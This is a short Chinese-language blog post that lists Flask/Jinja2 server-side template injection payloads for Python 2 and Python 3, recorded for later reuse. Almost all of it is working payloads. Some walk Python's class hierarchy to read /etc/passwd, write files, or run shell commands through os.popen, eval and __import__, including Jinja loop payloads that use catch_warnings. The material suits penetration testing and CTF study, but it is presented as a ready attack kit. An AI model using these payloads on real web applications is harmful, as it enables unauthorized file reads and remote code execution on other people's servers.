flask模板注入payload——python2和python3
阿新 • • 發佈:2020-11-22
把模板注入的payload記錄在這裡,方便以後使用。
主要分為兩類python2和python3
還有各種過濾和繞過
python2
檔案操作
找到file類
[].class.bases[0].subclasses()[40]
payload:
#讀檔案
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#寫檔案
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')
命令執行
os執行
[].class.bases[0].subclasses
payload:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全域性函式
[].class.bases[0].subclasses()[59].init.globals.__builtins__下有eval,__import__等的全域性函式,可以利用此來執行命令
payload:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read() [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
python3
檔案操作
payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
命令執行
payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}